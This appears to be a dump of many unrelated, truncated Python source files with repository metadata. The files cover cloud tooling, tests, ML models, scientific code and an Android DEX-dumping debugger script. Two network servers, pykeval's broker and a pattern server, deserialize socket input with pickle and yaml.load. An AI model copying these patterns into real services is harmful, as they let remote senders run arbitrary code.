4500bb8509d6fba4bc03cb2a60e0813c3a500647
6,440
py
Python
c7n/resources/batch.py
CliffJumper/cloud-custodian
47d2f0aa990d2179c8f6764ac53c12720069ddcb
[ "Apache-2.0" ]
null
null
null
c7n/resources/batch.py
CliffJumper/cloud-custodian
47d2f0aa990d2179c8f6764ac53c12720069ddcb
[ "Apache-2.0" ]
null
null
null
c7n/resources/batch.py
CliffJumper/cloud-custodian
47d2f0aa990d2179c8f6764ac53c12720069ddcb
[ "Apache-2.0" ]
1
2019-11-06T16:54:06.000Z
2019-11-06T16:54:06.000Z
# Copyright 2017-2018 Capital One Services, LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed ...
34.074074
82
0.632453
052b54f3ebfbb3a24b0cf606761d7d934536dc80
4,673
py
Python
sdks/python/apache_beam/io/parquetio_it_test.py
hengfengli/beam
83a8855e5997e0311e6274c03bcb38f94efbf8ef
[ "PSF-2.0", "Apache-2.0", "BSD-3-Clause" ]
5,279
2016-12-29T04:00:44.000Z
2022-03-31T22:56:45.000Z
sdks/python/apache_beam/io/parquetio_it_test.py
hengfengli/beam
83a8855e5997e0311e6274c03bcb38f94efbf8ef
[ "PSF-2.0", "Apache-2.0", "BSD-3-Clause" ]
14,149
2016-12-28T00:43:50.000Z
2022-03-31T23:50:22.000Z
sdks/python/apache_beam/io/parquetio_it_test.py
damondouglas/beam
4774ac713f427fefb38114f661516faef26d8207
[ "PSF-2.0", "Apache-2.0", "BSD-3-Clause" ]
3,763
2016-12-29T04:06:10.000Z
2022-03-31T22:25:49.000Z
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
31.574324
80
0.691633
000714198c8e28c4bff3929e8b25b0b4271c074a
7,298
py
Python
qa/rpc-tests/walletbackup.py
koba24/tcoin
04b9caaca587fa1bc928c81940d7ba3d2754083b
[ "MIT" ]
2
2018-06-24T19:51:25.000Z
2019-06-11T14:00:16.000Z
qa/rpc-tests/walletbackup.py
koba24/tcoin
04b9caaca587fa1bc928c81940d7ba3d2754083b
[ "MIT" ]
null
null
null
qa/rpc-tests/walletbackup.py
koba24/tcoin
04b9caaca587fa1bc928c81940d7ba3d2754083b
[ "MIT" ]
2
2018-09-13T22:54:32.000Z
2019-02-20T02:04:25.000Z
#!/usr/bin/env python3 # Copyright (c) 2014-2016 The Tcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """ Exercise the wallet backup code. Ported from walletbackup.sh. Test case is: 4 nodes. 1 2 and 3 send t...
35.950739
95
0.653193
6bd64497e387e43a4da3be2dbb6229b5ba9400e8
2,453
py
Python
src/oci/core/models/change_vlan_compartment_details.py
LaudateCorpus1/oci-python-sdk
b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015
[ "Apache-2.0", "BSD-3-Clause" ]
null
null
null
src/oci/core/models/change_vlan_compartment_details.py
LaudateCorpus1/oci-python-sdk
b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015
[ "Apache-2.0", "BSD-3-Clause" ]
null
null
null
src/oci/core/models/change_vlan_compartment_details.py
LaudateCorpus1/oci-python-sdk
b0d3ce629d5113df4d8b83b7a6502b2c5bfa3015
[ "Apache-2.0", "BSD-3-Clause" ]
null
null
null
# coding: utf-8 # Copyright (c) 2016, 2022, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may c...
32.706667
245
0.68406
52dc9fb7a6852b0a667308db9c0d69875a62f564
148,758
py
Python
python/mxnet/numpy/multiarray.py
jonatanmil/incubator-mxnet
6af6570b065e1d4886621763777297eedb2fde84
[ "Apache-2.0" ]
null
null
null
python/mxnet/numpy/multiarray.py
jonatanmil/incubator-mxnet
6af6570b065e1d4886621763777297eedb2fde84
[ "Apache-2.0" ]
1
2021-12-10T01:33:49.000Z
2021-12-10T01:33:49.000Z
python/mxnet/numpy/multiarray.py
junhalba/incubator-mxnet-master
be7296bcaa104e333ac68e27d78576ceedc78d1f
[ "BSL-1.0", "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "L...
36.362259
132
0.609708
f922b090f347b7a400c781761032812282aaa2c4
4,433
py
Python
model.py
hirovi/Behaviour_Cloning
e602bf665bcd09dbf2e581471b0f7ccbba61a2e5
[ "MIT" ]
1
2018-01-07T22:43:47.000Z
2018-01-07T22:43:47.000Z
model.py
hirovi/Behaviour_Cloning
e602bf665bcd09dbf2e581471b0f7ccbba61a2e5
[ "MIT" ]
null
null
null
model.py
hirovi/Behaviour_Cloning
e602bf665bcd09dbf2e581471b0f7ccbba61a2e5
[ "MIT" ]
null
null
null
import csv import os import cv2 import sklearn import numpy as np from sklearn.utils import shuffle #Read the data file and append each row lines = [] with open('data/driving_log.csv', 'r') as csvfile: reader = csv.reader(csvfile) for line in reader: lines.append(line) #Split data into t...
43.891089
167
0.653282
65b43d15098e06b351483f957d9ece9b332a3061
25,367
py
Python
ds5-scripts/aosp_6_0/arm/DexFile.py
rewhy/happer
3b48894e2d91f150f1aee0ce75291b9ca2a29bbe
[ "Apache-2.0" ]
32
2021-04-08T05:39:51.000Z
2022-03-31T03:49:35.000Z
ds5-scripts/aosp_6_0/arm/DexFile.py
rewhy/happer
3b48894e2d91f150f1aee0ce75291b9ca2a29bbe
[ "Apache-2.0" ]
2
2021-04-14T08:31:30.000Z
2021-08-29T19:12:09.000Z
ds5-scripts/aosp_6_0/arm/DexFile.py
rewhy/happer
3b48894e2d91f150f1aee0ce75291b9ca2a29bbe
[ "Apache-2.0" ]
3
2021-06-08T08:52:56.000Z
2021-06-23T17:28:51.000Z
# DexFile.py is used to dump the dex file when the "DexFile::<init>" method is invoked in 32-bit mode. import gc import os import sys from arm_ds.debugger_v1 import Debugger from arm_ds.debugger_v1 import DebugException import config import memory import mmu from DexParser import header_item, class_data_...
58.584296
210
0.745772
1009a857c4f86a8bf8ea56d55ed9b106b3ced138
11,479
py
Python
examples/advanced_operations/add_dynamic_search_ads.py
andy0937/google-ads-python
cb5da7f4a75076828d1fc3524b08cc167670435a
[ "Apache-2.0" ]
1
2019-11-30T23:42:39.000Z
2019-11-30T23:42:39.000Z
examples/advanced_operations/add_dynamic_search_ads.py
andy0937/google-ads-python
cb5da7f4a75076828d1fc3524b08cc167670435a
[ "Apache-2.0" ]
null
null
null
examples/advanced_operations/add_dynamic_search_ads.py
andy0937/google-ads-python
cb5da7f4a75076828d1fc3524b08cc167670435a
[ "Apache-2.0" ]
1
2020-09-30T17:04:06.000Z
2020-09-30T17:04:06.000Z
#!/usr/bin/env python # Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
43.154135
80
0.706769
19ab3ebfa64027bf2c66726ecc920de4389e04e0
453
py
Python
BOOK/MAIN/02-strings-lists-tuples-dictionaries/chapter-2-examples/06-linear-search.py
kabirsrivastava3/python-practice
f56a4a0764031d3723b0ba4cd1418a1a83b1e4f5
[ "MIT" ]
null
null
null
BOOK/MAIN/02-strings-lists-tuples-dictionaries/chapter-2-examples/06-linear-search.py
kabirsrivastava3/python-practice
f56a4a0764031d3723b0ba4cd1418a1a83b1e4f5
[ "MIT" ]
null
null
null
BOOK/MAIN/02-strings-lists-tuples-dictionaries/chapter-2-examples/06-linear-search.py
kabirsrivastava3/python-practice
f56a4a0764031d3723b0ba4cd1418a1a83b1e4f5
[ "MIT" ]
null
null
null
#search for key in the dictionary and print the corresponding value #Time Complexity = O(N) def input(element): return element def findValue(inform,key): if key in inform.values(): for search in inform: return inform[search]== key find = input("Ishpreet")...
22.65
74
0.613687
f967ec4e0e60b8d7590d116165faf624612733e6
799
py
Python
Lib/corpuscrawler/crawl_yut.py
cash/corpuscrawler
8913fe1fb2b6bfdfbf2ba01d2ce88057b3b5ba3d
[ "Apache-2.0" ]
95
2019-06-13T23:34:21.000Z
2022-03-12T05:22:49.000Z
Lib/corpuscrawler/crawl_yut.py
sahwar/corpuscrawler
8913fe1fb2b6bfdfbf2ba01d2ce88057b3b5ba3d
[ "Apache-2.0" ]
31
2019-06-02T18:56:53.000Z
2021-08-10T20:16:02.000Z
Lib/corpuscrawler/crawl_yut.py
sahwar/corpuscrawler
8913fe1fb2b6bfdfbf2ba01d2ce88057b3b5ba3d
[ "Apache-2.0" ]
35
2019-06-18T08:26:24.000Z
2022-01-11T13:59:40.000Z
# coding: utf-8 # Copyright 2017 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed...
34.73913
74
0.764706
0ce3cbf0db2e0a1fcb33a029f7ae581085246fc6
3,188
py
Python
pykeval/pykeval/broker/remote_server.py
SilverTuxedo/keval
73e2ccd5cbdf0cc7fc167711cde60be783e8dfe7
[ "MIT" ]
34
2021-09-17T16:17:58.000Z
2022-03-11T06:23:21.000Z
pykeval/pykeval/broker/remote_server.py
fengjixuchui/keval
73e2ccd5cbdf0cc7fc167711cde60be783e8dfe7
[ "MIT" ]
null
null
null
pykeval/pykeval/broker/remote_server.py
fengjixuchui/keval
73e2ccd5cbdf0cc7fc167711cde60be783e8dfe7
[ "MIT" ]
4
2021-09-17T19:39:29.000Z
2022-03-10T07:06:43.000Z
import logging import pickle from socketserver import BaseRequestHandler, TCPServer from pykeval.broker.local import LocalBroker from pykeval.broker.requests import BrokerResponse, BrokerResponseType, BrokerRequest, BrokerRequestType from pykeval.broker.messaging import receive, send logger = logging.getLogger(__name...
35.820225
120
0.67064
4dcb9fcf60bb8270025fbfbcb309d7e6e03ebeb0
687
py
Python
Ch04. Recursion/is-palindrome.py
melfag/Problem-Solving-with-Algorithms-and-Data-Structures-using-Python
59b99b2ed439c5e2a97a364d1e743e36f0bf1ee3
[ "MIT" ]
1
2020-07-21T11:29:39.000Z
2020-07-21T11:29:39.000Z
Ch04. Recursion/is-palindrome.py
melfag/Problem-Solving-with-Algorithms-and-Data-Structures-using-Python
59b99b2ed439c5e2a97a364d1e743e36f0bf1ee3
[ "MIT" ]
null
null
null
Ch04. Recursion/is-palindrome.py
melfag/Problem-Solving-with-Algorithms-and-Data-Structures-using-Python
59b99b2ed439c5e2a97a364d1e743e36f0bf1ee3
[ "MIT" ]
null
null
null
def isPalindrome(string: str)->bool: if len(string) < 2: return True else: if string[0] == string[len(string) - 1]: return isPalindrome(string[1: len(string) - 1]) else: return False print(isPalindrome('kayak')) print(isPalindrome('aibohphobia')) # no slicing d...
25.444444
62
0.58952
6d38432e97e50ca2b7c08b1e6f50631caa04a9fe
1,539
py
Python
awacs/route53domains.py
craigbruce/awacs
e1d0699409291f0ad586b86d6c55cfc54af70778
[ "BSD-2-Clause" ]
null
null
null
awacs/route53domains.py
craigbruce/awacs
e1d0699409291f0ad586b86d6c55cfc54af70778
[ "BSD-2-Clause" ]
null
null
null
awacs/route53domains.py
craigbruce/awacs
e1d0699409291f0ad586b86d6c55cfc54af70778
[ "BSD-2-Clause" ]
null
null
null
# Copyright (c) 2012-2013, Mark Peek <mark@peek.org> # All rights reserved. # # See LICENSE file for full license. from aws import Action service_name = 'Amazon Route53 Domains' prefix = 'route53domains' class Route53DomainsAction(Action): def __init__(self, action=None): self.prefix = prefix se...
42.75
79
0.841455
b8493734b0b43009984763955820502d07cfb7d7
4,993
py
Python
spotpy/examples/tutorial_padds_hymod.py
hpsone/spotpy
34d1ad306b6f2f8faa95f010e6c4db98be76efaa
[ "MIT" ]
1
2020-06-17T17:35:25.000Z
2020-06-17T17:35:25.000Z
spotpy/examples/tutorial_padds_hymod.py
YinZhaokai/spotpy
4b4eec4f3544dd710e5c823de9c351b077ce0d04
[ "MIT" ]
null
null
null
spotpy/examples/tutorial_padds_hymod.py
YinZhaokai/spotpy
4b4eec4f3544dd710e5c823de9c351b077ce0d04
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- ''' Copyright 2015 by Tobias Houska This file is part of Statistical Parameter Estimation Tool (SPOTPY). :author: Tobias Houska This class holds example code how to use the dream algorithm ''' import numpy as np try: import spotpy except ImportError: import sys sys.path.append("."...
30.445122
90
0.639495
45233dfc05fd7951089c6b29bd23ca2f8fdef0c3
27,930
py
Python
onnxruntime/python/tools/transformers/onnx_model.py
sriduth/onnxruntime
b2da700e4d953239833e40f9a1b39b15936cc6dd
[ "MIT" ]
1
2019-01-15T18:10:37.000Z
2019-01-15T18:10:37.000Z
onnxruntime/python/tools/transformers/onnx_model.py
sriduth/onnxruntime
b2da700e4d953239833e40f9a1b39b15936cc6dd
[ "MIT" ]
null
null
null
onnxruntime/python/tools/transformers/onnx_model.py
sriduth/onnxruntime
b2da700e4d953239833e40f9a1b39b15936cc6dd
[ "MIT" ]
1
2021-03-08T18:50:34.000Z
2021-03-08T18:50:34.000Z
#------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. #-------------------------------------------------------------------------- from typing import List, Tuple import logging import os import sys import...
40.12931
156
0.603688
1bba1b68a51a790a840ea314035b2bdbdf0ddc35
1,978
py
Python
pyFilter.py
bjohnson751/Body-Brain-Fusion-
d4b657aca6d1b465fdbcb09368241b7273fd4acf
[ "MIT" ]
null
null
null
pyFilter.py
bjohnson751/Body-Brain-Fusion-
d4b657aca6d1b465fdbcb09368241b7273fd4acf
[ "MIT" ]
null
null
null
pyFilter.py
bjohnson751/Body-Brain-Fusion-
d4b657aca6d1b465fdbcb09368241b7273fd4acf
[ "MIT" ]
null
null
null
from scipy.signal import butter, lfilter def butter_bandpass(lowcut, highcut, fs, order=5): nyq = 0.5 * fs low = lowcut / nyq high = highcut / nyq b, a = butter(order, [low, high], btype='band') return b, a def butter_bandpass_filter(data, lowcut, highcut, fs, order=5): b, a =...
32.42623
79
0.530334
35a4f9949f9f43fdeded79aaf9c9f8b9b81cb7b7
10,247
py
Python
x-pack/libbeat/tests/system/test_management.py
SHolzhauer/beats
39679a536a22e8a0d7534a2475504488909d19fd
[ "ECL-2.0", "Apache-2.0" ]
4
2020-11-17T06:29:30.000Z
2021-08-08T11:56:01.000Z
x-pack/libbeat/tests/system/test_management.py
SHolzhauer/beats
39679a536a22e8a0d7534a2475504488909d19fd
[ "ECL-2.0", "Apache-2.0" ]
36
2021-02-02T14:18:40.000Z
2022-03-20T15:07:30.000Z
x-pack/libbeat/tests/system/test_management.py
SHolzhauer/beats
39679a536a22e8a0d7534a2475504488909d19fd
[ "ECL-2.0", "Apache-2.0" ]
6
2021-03-10T05:38:32.000Z
2021-08-16T13:11:19.000Z
import sys import os import glob import json import requests import string import random import unittest import time from elasticsearch import Elasticsearch from os import path from base import BaseTest # Disable because waiting artifacts from https://github.com/elastic/kibana/pull/31660 INTEGRATION_TESTS = os.envi...
35.092466
116
0.57812
a93a3d2f31d4cc39dfd563c251ac7c120cffe598
6,739
py
Python
configuration/configuration_data.py
diogo1790team/inphinity_DM
b20d75ee0485e1f406a25efcf5f2855631166c38
[ "MIT" ]
1
2019-03-11T12:59:37.000Z
2019-03-11T12:59:37.000Z
configuration/configuration_data.py
diogo1790team/inphinity_DM
b20d75ee0485e1f406a25efcf5f2855631166c38
[ "MIT" ]
21
2018-10-17T14:52:30.000Z
2019-06-03T12:43:58.000Z
configuration/configuration_data.py
diogo1790team/inphinity_DM
b20d75ee0485e1f406a25efcf5f2855631166c38
[ "MIT" ]
6
2019-02-28T07:40:14.000Z
2019-09-23T13:31:54.000Z
# -*- coding: utf-8 -*- """ Created on Tue Apr 26 08:26:09 2018 @author: Diogo """ import configparser from pathlib import Path import os class Configuration_data: """ This class is called when we need to insert values in the database to select it """ def __init__(self, db_name = "INPHINTY"): ...
29.687225
123
0.606173
96091e8a61d970add8582fd633b0d5c494e20d58
762
py
Python
python/pattern_server/pattern_server.py
multispot-software/LCOS_LabVIEW
bbf5653203bb734d1d2d1b31c7f65f309545de7a
[ "MIT" ]
null
null
null
python/pattern_server/pattern_server.py
multispot-software/LCOS_LabVIEW
bbf5653203bb734d1d2d1b31c7f65f309545de7a
[ "MIT" ]
null
null
null
python/pattern_server/pattern_server.py
multispot-software/LCOS_LabVIEW
bbf5653203bb734d1d2d1b31c7f65f309545de7a
[ "MIT" ]
3
2018-10-30T21:06:20.000Z
2020-03-27T08:14:41.000Z
#! python3 import socketserver import yaml from patternlib import compute_pattern def process_recv_data(data): #print(data) params = yaml.load(data) print(params, end='\n\n') a = compute_pattern(**params) return a.tobytes() class MyTCPHandler(socketserver.BaseRequestHandler): def handle(self...
25.4
64
0.674541
65c53b27289fd5871d29010d2829ae92d255bf4d
9,467
py
Python
diofant/tests/integrals/test_rde.py
rajkk1/diofant
6b361334569e4ec2e8c7d30dc324387a4ad417c2
[ "BSD-3-Clause" ]
57
2016-09-13T23:16:26.000Z
2022-03-29T06:45:51.000Z
diofant/tests/integrals/test_rde.py
rajkk1/diofant
6b361334569e4ec2e8c7d30dc324387a4ad417c2
[ "BSD-3-Clause" ]
402
2016-05-11T11:11:47.000Z
2022-03-31T14:27:02.000Z
diofant/tests/integrals/test_rde.py
rajkk1/diofant
6b361334569e4ec2e8c7d30dc324387a4ad417c2
[ "BSD-3-Clause" ]
20
2016-05-11T08:17:37.000Z
2021-09-10T09:15:51.000Z
"""Most of these tests come from the examples in Bronstein's book.""" import pytest from diofant import I, Poly, Rational, oo, symbols from diofant.abc import k, n, t, x, z from diofant.integrals.rde import (bound_degree, cancel_exp, cancel_primitive, no_cancel_equal, normal_denom, ...
48.055838
158
0.509665
abf8001abf419f12bb86552f235a6560342c4b26
1,610
py
Python
src/practices/practice/max_path _sum/script.py
rahul38888/coding_practice
8445c379310aa189147c4805c43bed80aa9e9fac
[ "Apache-2.0" ]
1
2021-08-06T11:22:12.000Z
2021-08-06T11:22:12.000Z
src/practices/practice/max_path _sum/script.py
rahul38888/coding_practice
8445c379310aa189147c4805c43bed80aa9e9fac
[ "Apache-2.0" ]
null
null
null
src/practices/practice/max_path _sum/script.py
rahul38888/coding_practice
8445c379310aa189147c4805c43bed80aa9e9fac
[ "Apache-2.0" ]
null
null
null
# https://practice.geeksforgeeks.org/problems/path-in-matrix3805/1 # Approach is to iterate over each 0th row element and try to find the max path from there # for any index save the longest cost path from there and reuse it class Solution: def recMaximumPath(self, N, m, index, cache): if index[0] == N-1:...
33.541667
90
0.557143
8ff9e22a75b6e29f339ba26dddde9b19e93abc82
2,652
py
Python
www/apis.py
xiaozefeng/python3-webapp
126f93179186bcf6adf360c0fba3ab51baa4ca19
[ "MIT" ]
null
null
null
www/apis.py
xiaozefeng/python3-webapp
126f93179186bcf6adf360c0fba3ab51baa4ca19
[ "MIT" ]
null
null
null
www/apis.py
xiaozefeng/python3-webapp
126f93179186bcf6adf360c0fba3ab51baa4ca19
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- __author__ = 'steven' ''' JSON API definition. ''' import json, logging, inspect, functools class Page(object): ''' Page object for display pages. ''' def __init__(self, item_count, page_index=1, page_size=10): ''' Init Pagination by item_count, page_index a...
27.625
196
0.592383
828550264cd13d6cdafa6dea1649bf77dcf660d8
16,464
py
Python
server/integrations/smpp/smpp2FA.py
duttarnab/jans-auth-server
c74d4b1056cc6ae364dee1d3b89121925a3dcd0b
[ "Apache-2.0" ]
30
2020-10-08T07:42:25.000Z
2022-01-14T08:28:54.000Z
server/integrations/smpp/smpp2FA.py
duttarnab/jans-auth-server
c74d4b1056cc6ae364dee1d3b89121925a3dcd0b
[ "Apache-2.0" ]
339
2020-10-23T19:07:38.000Z
2022-01-14T08:27:47.000Z
server/integrations/smpp/smpp2FA.py
duttarnab/jans-auth-server
c74d4b1056cc6ae364dee1d3b89121925a3dcd0b
[ "Apache-2.0" ]
17
2020-10-07T17:23:59.000Z
2022-01-14T09:28:21.000Z
# Janssen Project software is available under the Apache License (2004). See http://www.apache.org/licenses/ for full text. # Copyright (c) 2020, Janssen Project # Copyright (c) 2019, Tele2 # Author: Jose Gonzalez # Author: Gasmyr Mougang # Author: Stefan Andersson from java.util import Arrays, Date from java.io impo...
37.848276
167
0.599551
b80a9efe6a9cec153604e620450ba8f39414b7bd
2,820
py
Python
telewater/bot.py
someoneonearthwholovestg/telewater
ced6810f60b6070d6de4637450a1ea87076e9b1d
[ "MIT" ]
1
2021-04-26T07:12:47.000Z
2021-04-26T07:12:47.000Z
telewater/bot.py
someoneonearthwholovestg/telewater
ced6810f60b6070d6de4637450a1ea87076e9b1d
[ "MIT" ]
null
null
null
telewater/bot.py
someoneonearthwholovestg/telewater
ced6810f60b6070d6de4637450a1ea87076e9b1d
[ "MIT" ]
null
null
null
''' This module defines the functions that handle different events. ''' import os import logging from telethon import TelegramClient, events from telewater.settings import API_ID, API_HASH, HELP, X_OFF, Y_OFF from telewater.watermark import watermark from telewater.utils import download_image, get_args # TODO: (op...
30.652174
121
0.684043
ad0e82216ee48bac4b6fac602fb1d3cac8949b48
15,294
py
Python
phaselink_train.py
TomSHudson/PhaseLink
04ad6e4b1c1c1ec809efb706f20a2702f04a6923
[ "MIT" ]
2
2021-09-30T12:18:53.000Z
2021-10-01T02:32:40.000Z
phaselink_train.py
TomSHudson/PhaseLink
04ad6e4b1c1c1ec809efb706f20a2702f04a6923
[ "MIT" ]
null
null
null
phaselink_train.py
TomSHudson/PhaseLink
04ad6e4b1c1c1ec809efb706f20a2702f04a6923
[ "MIT" ]
1
2021-09-30T12:28:45.000Z
2021-09-30T12:28:45.000Z
#!/usr/bin/python #----------------------------------------------------------------------------------------------------------------------------------------- # PhaseLink: Earthquake phase association with deep learning # Author: Zachary E. Ross # Seismological Laboratory # California Institute of Technology # Script D...
37.121359
140
0.55172
9ce6c2eca44ea0e93c8984d72cabb25135bde838
1,329
py
Python
simple.py
agermanidis/attngan
5e763da632a307be28656573b69b28d234eb6d99
[ "MIT" ]
1
2020-08-16T10:07:06.000Z
2020-08-16T10:07:06.000Z
simple.py
agermanidis/attngan
5e763da632a307be28656573b69b28d234eb6d99
[ "MIT" ]
2
2020-07-23T19:25:43.000Z
2020-07-24T21:21:08.000Z
simple.py
agermanidis/attngan
5e763da632a307be28656573b69b28d234eb6d99
[ "MIT" ]
1
2020-07-22T18:26:37.000Z
2020-07-22T18:26:37.000Z
import os import argparse import time import random from eval import * from miscc.config import cfg, cfg_from_file import warnings warnings.filterwarnings("ignore") def parse_args(): parser = argparse.ArgumentParser(description='Train a AttnGAN network') parser.add_argument('--cfg', dest='cfg_file', ...
30.204545
73
0.702032
c27d78b2c00680c6ead601a6304b59698de7cbcb
2,870
py
Python
ocp_resources/catalog_source_config.py
mguetta1/openshift-python-wrapper
007ff36aab0f9f87c672db6107a2dd5b5618613b
[ "Apache-2.0" ]
null
null
null
ocp_resources/catalog_source_config.py
mguetta1/openshift-python-wrapper
007ff36aab0f9f87c672db6107a2dd5b5618613b
[ "Apache-2.0" ]
null
null
null
ocp_resources/catalog_source_config.py
mguetta1/openshift-python-wrapper
007ff36aab0f9f87c672db6107a2dd5b5618613b
[ "Apache-2.0" ]
null
null
null
import logging from ocp_resources.constants import PROTOCOL_ERROR_EXCEPTION_DICT, TIMEOUT_4MINUTES from ocp_resources.resource import NamespacedResource from ocp_resources.utils import TimeoutExpiredError, TimeoutSampler LOGGER = logging.getLogger(__name__) class CatalogSourceConfig(NamespacedResource): api_gr...
31.195652
102
0.581533
651767a2c488e43b3d6628767c855d37a8fc21db
4,679
py
Python
generate.py
mangtronix/samplernn-pytorch
101d618f82fcb1ff48914297107eb87a822f3f5e
[ "MIT" ]
1
2020-11-19T08:32:07.000Z
2020-11-19T08:32:07.000Z
generate.py
mangtronix/samplernn-pytorch
101d618f82fcb1ff48914297107eb87a822f3f5e
[ "MIT" ]
null
null
null
generate.py
mangtronix/samplernn-pytorch
101d618f82fcb1ff48914297107eb87a822f3f5e
[ "MIT" ]
null
null
null
from model import SampleRNN import torch from collections import OrderedDict import os import json from trainer.plugins import GeneratorPlugin import glob import sys '''Other comments: https://github.com/deepsound-project/samplernn-pytorch/issues/8''' # Support some command line options # Added by Mangtronix # Micha...
35.44697
117
0.748664
5bf4a6a344dff56744e26cdc8b43558e9ab4afbf
3,504
py
Python
lab6/lab6.py
sydneysmartin/csc121
6ef4d323f58f4177c46b5ea38db7bc95a06d865e
[ "CC0-1.0" ]
null
null
null
lab6/lab6.py
sydneysmartin/csc121
6ef4d323f58f4177c46b5ea38db7bc95a06d865e
[ "CC0-1.0" ]
null
null
null
lab6/lab6.py
sydneysmartin/csc121
6ef4d323f58f4177c46b5ea38db7bc95a06d865e
[ "CC0-1.0" ]
null
null
null
import arcade def draw_section_outlines(): color = arcade.color.BLACK # Draw squares on bottom arcade.draw_rectangle_outline(150, 150, 300, 300, color) arcade.draw_rectangle_outline(450, 150, 300, 300, color) arcade.draw_rectangle_outline(750, 150, 300, 300, color) arcade.draw_rectangle_outli...
25.955556
76
0.558505
c448f209646c66de5b815220e02f7f72ed85814d
636
py
Python
ansible/roles/db/molecule/default/tests/test_default.py
otus-devops-2019-02/artem198315_infra
1d052b8c2d15b0b1a69d863de1636c630a4bfde7
[ "MIT" ]
null
null
null
ansible/roles/db/molecule/default/tests/test_default.py
otus-devops-2019-02/artem198315_infra
1d052b8c2d15b0b1a69d863de1636c630a4bfde7
[ "MIT" ]
null
null
null
ansible/roles/db/molecule/default/tests/test_default.py
otus-devops-2019-02/artem198315_infra
1d052b8c2d15b0b1a69d863de1636c630a4bfde7
[ "MIT" ]
null
null
null
import os import testinfra.utils.ansible_runner testinfra_hosts = testinfra.utils.ansible_runner.AnsibleRunner( os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('all') # check if MongoDB is enabled and running def test_mongo_running_and_enabled(host): mongo = host.service("mongod") assert mongo.is_running ...
27.652174
63
0.778302
1a609df3e11235af02c9be0ee1eb1221e1c146a8
7,334
py
Python
Sketches/MPS/BugReports/FixTests/Kamaelia/Tools/Show.py
sparkslabs/kamaelia_orig
24b5f855a63421a1f7c6c7a35a7f4629ed955316
[ "Apache-2.0" ]
12
2015-10-20T10:22:01.000Z
2021-07-19T10:09:44.000Z
Sketches/MPS/BugReports/FixTests/Kamaelia/Tools/Show.py
sparkslabs/kamaelia_orig
24b5f855a63421a1f7c6c7a35a7f4629ed955316
[ "Apache-2.0" ]
2
2015-10-20T10:22:55.000Z
2017-02-13T11:05:25.000Z
Sketches/MPS/BugReports/FixTests/Kamaelia/Tools/Show.py
sparkslabs/kamaelia_orig
24b5f855a63421a1f7c6c7a35a7f4629ed955316
[ "Apache-2.0" ]
6
2015-03-09T12:51:59.000Z
2020-03-01T13:06:21.000Z
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright 2010 British Broadcasting Corporation and Kamaelia Contributors(1) # # (1) Kamaelia Contributors are listed in the AUTHORS file and at # http://www.kamaelia.org/AUTHORS - please extend this file, # not this notice. # # Licensed under the Apache License, Ve...
40.076503
105
0.591083
35417c082a86d1a7d1d2dddb190b68d3c9d55b4f
2,381
py
Python
src/evaluate.py
swapnilpote/Natural-Language-Processing-with-Disaster-Tweets
bf4d911dd0b72cc37662e8bb756615a1fb2f1f83
[ "MIT" ]
null
null
null
src/evaluate.py
swapnilpote/Natural-Language-Processing-with-Disaster-Tweets
bf4d911dd0b72cc37662e8bb756615a1fb2f1f83
[ "MIT" ]
null
null
null
src/evaluate.py
swapnilpote/Natural-Language-Processing-with-Disaster-Tweets
bf4d911dd0b72cc37662e8bb756615a1fb2f1f83
[ "MIT" ]
null
null
null
import os import sys import json import math # Data Science imports import joblib import pandas as pd import sklearn.metrics as metrics if len(sys.argv) != 7: sys.stderr.write("Arguments error. Usage:\n") sys.stderr.write("\tpython evaluate.py model prepared features scores prc roc\n") sys.exit(1) model_...
28.686747
86
0.602268
aea2a052a500e2fc0462ae1d996c1238f954bfe2
2,618
py
Python
cctbx/examples/view_fft_map.py
rimmartin/cctbx_project
644090f9432d9afc22cfb542fc3ab78ca8e15e5d
[ "BSD-3-Clause-LBNL" ]
null
null
null
cctbx/examples/view_fft_map.py
rimmartin/cctbx_project
644090f9432d9afc22cfb542fc3ab78ca8e15e5d
[ "BSD-3-Clause-LBNL" ]
null
null
null
cctbx/examples/view_fft_map.py
rimmartin/cctbx_project
644090f9432d9afc22cfb542fc3ab78ca8e15e5d
[ "BSD-3-Clause-LBNL" ]
null
null
null
""" Loads the file map_coeff.pickle (see random_f_calc.py) and displays the FFT map based on these coefficients in PyMOL. Also computes and displays a list of peaks in the map. Usage: Setup the cctbx environment (e.g. source setpaths.csh) and launch PyMOL from the command line. Inside PyMOL enter: run view_fft_map.p...
31.926829
73
0.698243
0059d567259408bd834bd3770c7532f957c7aad6
1,051
py
Python
test/test_alert_rule_response.py
sematext/sematext-api-client-python
16e025cd3d32aa58deb70fc5930ae4165afebe97
[ "Apache-2.0" ]
1
2020-05-01T12:15:52.000Z
2020-05-01T12:15:52.000Z
test/test_alert_rule_response.py
sematext/sematext-api-client-python
16e025cd3d32aa58deb70fc5930ae4165afebe97
[ "Apache-2.0" ]
null
null
null
test/test_alert_rule_response.py
sematext/sematext-api-client-python
